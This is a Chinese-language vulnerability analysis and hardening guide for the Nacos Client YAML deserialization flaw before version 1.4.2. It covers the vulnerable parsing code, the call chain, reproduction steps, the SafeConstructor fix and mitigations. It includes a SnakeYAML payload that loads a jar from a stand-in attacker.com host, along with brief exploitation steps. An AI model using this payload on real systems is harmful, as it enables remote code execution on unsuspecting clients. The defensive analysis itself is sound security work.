Nacos Client Yaml反序列化漏洞分析
字数 1457 2025-08-03 16:42:40
Nacos Client Yaml反序列化漏洞分析与防护指南
1. 漏洞背景
Nacos是阿里巴巴开源的一个动态服务发现、配置和服务管理平台,广泛应用于微服务架构中。该漏洞影响使用AbstractConfigChangeListener监听配置的Nacos客户端,攻击者可通过控制Nacos服务端配置触发客户端Yaml反序列化漏洞。
2. 漏洞影响范围
- 受影响版本:Nacos Client < 1.4.2
- 影响对象:直接使用nacos-client SDK并采用
AbstractConfigChangeListener监听配置的客户端 - 不受影响情况:
- 使用Spring Cloud、Spring Boot、Dubbo等框架(不使用
AbstractConfigChangeListener) - Nacos Server >= 1.4.2
- 使用Spring Cloud、Spring Boot、Dubbo等框架(不使用
3. 漏洞原理分析
3.1 漏洞触发流程
- 客户端通过
AbstractConfigChangeListener监听Nacos配置变更 - 攻击者修改服务端配置为恶意Yaml内容
- 客户端获取新配置后,在
YmlChangeParser#doParse方法中解析Yaml - 解析过程中触发SnakeYaml反序列化漏洞
3.2 关键代码分析
漏洞触发点:
// com.alibaba.nacos.client.config.impl.YmlChangeParser#doParse
public Map<String, Object> doParse(String content, String type) {
Yaml yaml = new Yaml(); // 未使用SafeConstructor
return yaml.load(content); // 反序列化恶意内容
}
调用链:
ClientWorker.LongPollingRunnable#run- 长轮询监听配置变更CacheData#checkListenerMd5- 检查配置MD5变化CacheData#safeNotifyListener- 安全通知监听器ConfigChangeHandler#parseChangeData- 解析变更数据YmlChangeParser#doParse- 最终触发漏洞
4. 漏洞复现
4.1 环境搭建
服务端:Nacos Server < 1.4.2
客户端依赖:
<dependency>
<groupId>com.alibaba.nacos</groupId>
<artifactId>nacos-client</artifactId>
<version>1.4.1</version>
</dependency>
客户端监听代码:
import com.alibaba.nacos.api.NacosFactory;
import com.alibaba.nacos.api.config.ConfigChangeEvent;
import com.alibaba.nacos.api.config.ConfigService;
import com.alibaba.nacos.client.config.listener.impl.AbstractConfigChangeListener;
import java.util.Properties;
public class Client {
public static void main(String[] args) throws Exception {
String serverAddr = "nacos-server:8848";
String dataId = "test-config";
String group = "DEFAULT_GROUP";
Properties properties = new Properties();
properties.put("serverAddr", serverAddr);
properties.put("username", "nacos");
properties.put("password", "nacos");
ConfigService configService = NacosFactory.createConfigService(properties);
String content = configService.getConfig(dataId, group, 5000);
System.out.println(content);
configService.addListener(dataId, group, new AbstractConfigChangeListener() {
@Override
public void receiveConfigChange(ConfigChangeEvent configChangeEvent) {
System.out.println(configChangeEvent);
}
});
while (true) {
Thread.sleep(1000);
}
}
}
4.2 攻击步骤
- 登录Nacos控制台
- 创建或修改一个配置,内容为Yaml反序列化Payload
- 保存配置后,监听该配置的客户端会自动获取并解析恶意内容
示例Payload:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/malicious.jar"]
]]
]
5. 漏洞修复方案
5.1 官方修复
Nacos 1.4.2版本修复方式:
// 修复后的代码使用SafeConstructor
Yaml yaml = new Yaml(new SafeConstructor());
5.2 升级建议
- 升级Nacos Client到1.4.2或更高版本
- 如果无法立即升级,可重写
YmlChangeParser类,使用安全配置
5.3 临时缓解措施
- 禁用Yaml配置支持(如果业务不需要)
- 对Nacos Server进行访问控制,防止未授权访问
- 监控配置变更,特别是Yaml格式的配置
6. 安全防护建议
-
网络隔离:
- 将Nacos Server部署在内网
- 限制客户端与Server之间的网络访问
-
认证授权:
- 启用Nacos认证功能
- 配置最小权限原则
-
监控审计:
- 记录所有配置变更操作
- 监控异常配置内容
-
客户端防护:
- 避免直接使用
AbstractConfigChangeListener - 对配置内容进行校验
- 避免直接使用
7. 漏洞利用场景
在渗透测试中,如果获取了Nacos Server控制台权限,可以:
- 查找已有配置的监听情况
- 修改配置为Yaml反序列化Payload
- 等待客户端自动获取并执行恶意代码